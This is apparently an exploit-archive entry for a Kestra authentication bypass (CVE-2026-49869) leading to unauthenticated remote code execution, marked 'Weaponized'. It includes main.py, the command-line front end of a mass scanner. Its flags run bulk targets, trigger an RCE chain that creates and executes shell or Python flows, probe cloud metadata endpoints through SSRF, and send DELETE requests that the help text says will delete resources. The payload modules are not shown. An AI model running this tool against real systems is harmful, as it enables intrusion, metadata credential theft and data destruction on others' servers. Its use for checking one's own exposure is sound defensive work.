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CVE-2026-49869, CVE-2026-53576 category: web CVSS 10 (CRITICAL)
Unverified

Kestra Authentication Bypass to RCE (CVE-2026-49869)

Published: 2026-09-03 • Researcher: Ap0dexMe0

Target software Kestra (open-source orchestration platform)
Affected versions before 1.0.45 and 1.3.21
Status Weaponized
Severity Critical · CVSS 10
CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-49869, CVE-2026-53576
Category
web
Affected product
Kestra (open-source orchestration platform)
Affected versions
before 1.0.45 and 1.3.21
Disclosed
2026-09-03
Patch status
Unverified
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Metadata

FieldValue
Date Added2026-09-03
Author / ResearcherAp0dexMe0
CVE / AdvisoryCVE-2026-49869, CVE-2026-53576
Categoryweb
SeverityCritical
CVSS Score10.0
StatusWeaponized
TagsRCE, authentication bypass, Kestra, unauthenticated, Python

Affected Target

FieldValue
Software / SystemKestra (open-source orchestration platform)
Versions Affectedbefore 1.0.45 and 1.3.21
Patched Version1.0.45, 1.3.21
Language / PlatformPython (exploit), Java (target)
Authentication RequiredNo (unauthenticated)
Network Access RequiredRemote

Summary

CVE-2026-49869 is an authentication bypass in Kestra OSS. The AuthenticationFilter uses request.getPath().endsWith("/configs") to whitelist the public configuration endpoint from Basic Auth. Since the check is a suffix match rather than an exact path match, any API path ending in configs bypasses authentication entirely. Combined with default script execution plugins, this leads to unauthenticated remote code execution.

Vulnerability Details

Root Cause

Suffix-based path matching in AuthenticationFilter allows any path ending in /configs to bypass authentication.

Attack Vector

  1. Craft requests to API endpoints ending in /configs to bypass authentication
  2. Create and execute arbitrary workflows without credentials
  3. Use default script plugins (shell, Python) to execute commands as root in the worker container

Impact

Unauthenticated remote code execution as root inside the Kestra worker container.

References

Notes

Auto-ingested from https://github.com/Ap0dexMe0/CVE-2026-49869 on 2026-09-03.

main.py
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from __future__ import annotations

import argparse
import json
import sys
from datetime import datetime, timezone
from modules.banners import banners
from modules import VERSION, CVE_IDS
from modules.colors import C, w
from modules.scanner import (
    AUTO_PORTS, DEFAULT_TENANT, DEFAULT_NAMESPACE, DEFAULT_TIMEOUT,
    RCE_POLL_INTERVAL, RCE_POLL_RETRIES,
    print_single, print_bulk, run_bulk, scan_target,
    parse_and_normalize, expand_targets, load_targets_from_file,
)

BANNER = f"""{C.C}{C.B}
  ╔══════════════════════════════════════════════════════════════╗
  ║  Kestra Auth-Bypass Scanner  — {', '.join(CVE_IDS)}  ║  CVSS 10.0  —  Unauthenticated RCE via /configs bypass       ║
  ╚══════════════════════════════════════════════════════════════╝{C.N}
"""


def _build_report(all_results, args, targets):
    results = []
    for r in all_results:
        entry = {
            "target": r.target,
            "timestamp": r.timestamp,
            "vulnerable": r.vulnerable,
            "verdict": r.verdict,
            "probes": {
                k: {
                    "url": p.url,
                    "status_code": p.status_code,
                    "error": p.error,
                    "bypass_successful": p.bypass_successful,
                }
                for k, p in r.probes.items()
            },
        }
        # Enrichment fields
        if r.version is not None:
            entry["version"] = r.version
        if r.version_in_range is not None:
            entry["version_in_affected_range"] = r.version_in_range
        if r.rce_confirmed is not None:
            entry["rce_confirmed"] = r.rce_confirmed
        if r.rce_method:
            entry["rce_method"] = r.rce_method
        if r.rce_evidence:
            entry["rce_evidence"] = r.rce_evidence
        if r.ssrf_detected is not None:
            entry["ssrf_detected"] = r.ssrf_detected
        if r.ssrf_evidence:
            entry["ssrf_evidence"] = r.ssrf_evidence
        if r.delete_bypass is not None:
            entry["delete_bypass"] = r.delete_bypass
        results.append(entry)

    return {
        "scan_info": {
            "scanner": f"kestra_cve v{VERSION}",
            "cve": CVE_IDS,
            "source": args.file or args.target,
            "total_targets": len(targets),
            "timestamp": datetime.now(timezone.utc).isoformat(),
            "aggressive": args.aggressive,
            "rce": args.rce,
            "ssrf": args.ssrf,
            "destructive": args.destructive,
        },
        "results": results,
        "summary": {
            "total": len(all_results),
            "vulnerable": sum(1 for r in all_results if r.vulnerable),
            "rce_confirmed": sum(1 for r in all_results if r.rce_confirmed is True),
            "ssrf_detected": sum(1 for r in all_results if r.ssrf_detected is True),
            "delete_bypass": sum(1 for r in all_results if r.delete_bypass is True),
            "safe": sum(1 for r in all_results
                        if not r.vulnerable
                        and "INCONCLUSIVE" not in r.verdict
                        and not r.verdict.startswith("ERROR")),
            "inconclusive": sum(
                1 for r in all_results
                if "INCONCLUSIVE" in r.verdict or r.verdict.startswith("ERROR")
            ),
        },
    }


def main() -> None:
    parser = argparse.ArgumentParser(
        description=f"Kestra {', '.join(CVE_IDS)} Scanner",
        epilog=(
            "Examples:\n"
            "  python main.py http://localhost:8080\n"
            "  python main.py -f targets.txt\n"
            "  python main.py -f targets.txt --aggressive\n"
            "  python main.py -f targets.txt -j -o report.json\n"
            "  python main.py -f targets.txt --tenant default\n"
            "  python main.py http://target:8080 --rce --ssrf\n"
            "  python main.py http://target:8080 --rce --destructive\n"
        ),
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )

    tg = parser.add_mutually_exclusive_group(required=True)
    tg.add_argument("target", nargs="?", default=None,
                    help="Single target URL (e.g. http://localhost:8080)")
    tg.add_argument("--file", "-f", help="File with targets (one per line)")

    parser.add_argument("--timeout", "-t", type=int, default=DEFAULT_TIMEOUT,
                        help=f"Request timeout (default: {DEFAULT_TIMEOUT}s)")
    parser.add_argument("--verify-ssl", action="store_true",
                        help="Verify TLS certificates")
    parser.add_argument("--json", "-j", action="store_true",
                        help="Output JSON")
    parser.add_argument("--output", "-o", help="Write JSON to file")
    parser.add_argument("--tenant", type=str, default=DEFAULT_TENANT,
                        help=f'Tenant name (default: "{DEFAULT_TENANT}")')
    parser.add_argument("--namespace", type=str, default=DEFAULT_NAMESPACE,
                        help=f'Namespace for bypass paths (default: "{DEFAULT_NAMESPACE}")')
    parser.add_argument("--workers", "-w", type=int, default=10,
                        help="Thread count (default: 10)")
    parser.add_argument("--aggressive", "-a", action="store_true",
                        help="Also send PUT requests to confirm write bypass (may create resources)")
    parser.add_argument("--auto-ports", "-P", nargs="+", type=int, default=None,
                        help=f"Ports for auto-expand (default: {AUTO_PORTS})")

    # New v2.0 flags
    probe_group = parser.add_argument_group("advanced probes")
    probe_group.add_argument("--rce", "-r", action="store_true",
                             help="Enable RCE verification chain (creates harmless shell/python flow, "
                                  "triggers execution, retrieves logs to confirm code execution)")
    probe_group.add_argument("--ssrf", "-s", action="store_true",
                             help="Enable SSRF detection (creates flow with Pebble http() to reach "
                                  "cloud metadata endpoints, checks logs for evidence)")
    probe_group.add_argument("--destructive", "-d", action="store_true",
                             help="Enable DELETE probes to confirm destructive operation bypass "
                                  "(WILL delete resources on vulnerable instances)")
    probe_group.add_argument("--poll-interval", type=int, default=RCE_POLL_INTERVAL,
                             help=f"Seconds between log polls for RCE/SSRF chains (default: {RCE_POLL_INTERVAL})")
    probe_group.add_argument("--poll-retries", type=int, default=RCE_POLL_RETRIES,
                             help=f"Max log poll attempts for RCE/SSRF chains (default: {RCE_POLL_RETRIES})")

    args = parser.parse_args()
    print(BANNER)

    ports = args.auto_ports if args.auto_ports else AUTO_PORTS

    # Common scan kwargs
    scan_kwargs = dict(
        timeout=args.timeout,
        verify_ssl=args.verify_ssl,
        tenant=args.tenant,
        namespace=args.namespace,
        aggressive=args.aggressive,
        rce=args.rce,
        ssrf=args.ssrf,
        destructive=args.destructive,
        poll_interval=args.poll_interval,
        poll_retries=args.poll_retries,
    )

    if args.file:
        targets = load_targets_from_file(args.file)
        if args.auto_ports:
            raw = []
            with open(args.file, encoding="utf-8") as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith("#"):
                        raw.append(line)
            targets = expand_targets(raw, auto_ports=ports)
        if not targets:
            print(f"{w('[!]', C.R)} No valid targets found.")
            sys.exit(1)
        print(f"{w('[*]', C.C)} Total scan targets: {w(str(len(targets)), C.B)}")
        print(f"{w('[*]', C.C)} Tenant:       {args.tenant}")
        print(f"{w('[*]', C.C)} Namespace:    {args.namespace}")
        print(f"{w('[*]', C.C)} Aggressive:   {args.aggressive}")
        print(f"{w('[*]', C.C)} RCE verify:   {args.rce}")
        print(f"{w('[*]', C.C)} SSRF detect:  {args.ssrf}")
        print(f"{w('[*]', C.C)} Destructive:  {args.destructive}")
        print(f"{w('[*]', C.C)} SSL verify:   {args.verify_ssl}")
        print(f"{w('[*]', C.C)} Workers:      {w(str(args.workers), C.B)}\n")

        all_results = run_bulk(
            targets,
            workers=args.workers,
            **scan_kwargs,
        )

        if args.json or args.output:
            report = _build_report(all_results, args, targets)
            blob = json.dumps(report, indent=2, ensure_ascii=False)
            if args.output:
                with open(args.output, "w", encoding="utf-8") as f:
                    f.write(blob)
                print(f"\n{w('[+]', C.G)} JSON report saved to: {args.output}")
            else:
                print(blob)

        if not args.json or args.output:
            print_bulk(all_results)

        sys.exit(1 if any(r.vulnerable for r in all_results) else 0)

    else:
        raw = args.target
        scheme, host, port = parse_and_normalize(raw)
        if scheme is None:
            print(f"{w('[!]', C.R)} Invalid target.")
            sys.exit(1)

        if port is not None:
            targets = [f"{scheme}://{host}:{port}"]
        else:
            targets = [f"{scheme}://{host}:{p}" for p in ports]
            print(f"{w('[*]', C.Y)} No port specified — trying: {ports}\n")

        if len(targets) == 1:
            print(f"{w('[*]', C.C)} Scanning: {w(targets[0], C.B)}")
        else:
            print(f"{w('[*]', C.C)} Scanning {w(str(len(targets)), C.B)} "
                  f"port(s) for {w(host, C.B)}\n")

        all_results = [
            scan_target(t, **scan_kwargs)
            for t in targets
        ]

        if len(targets) == 1:
            if args.json:
                sr = all_results[0]
                entry = {
                    "target": sr.target,
                    "timestamp": sr.timestamp,
                    "vulnerable": sr.vulnerable,
                    "verdict": sr.verdict,
                    "version": sr.version,
                    "version_in_affected_range": sr.version_in_range,
                    "rce_confirmed": sr.rce_confirmed,
                    "rce_method": sr.rce_method,
                    "rce_evidence": sr.rce_evidence,
                    "ssrf_detected": sr.ssrf_detected,
                    "ssrf_evidence": sr.ssrf_evidence,
                    "delete_bypass": sr.delete_bypass,
                    "probes": {
                        k: {"url": p.url, "status_code": p.status_code,
                            "error": p.error, "bypass_successful": p.bypass_successful}
                        for k, p in sr.probes.items()
                    },
                }
                print(json.dumps(entry, indent=2))
            else:
                print_single(all_results[0])
        else:
            if not args.json or args.output:
                print_bulk(all_results)

        if args.output:
            report = _build_report(all_results, args, targets)
            with open(args.output, "w", encoding="utf-8") as f:
                json.dump(report, f, indent=2, ensure_ascii=False)
            print(f"\n{w('[+]', C.G)} JSON report saved to: {args.output}")

        has_vuln = any(r.vulnerable for r in all_results)
        if has_vuln:
            sys.exit(1)
        elif all("INCONCLUSIVE" in r.verdict or r.verdict.startswith("ERROR")
                 for r in all_results):
            sys.exit(2)
        else:
            sys.exit(0)


if __name__ == "__main__":
    banners()
    main()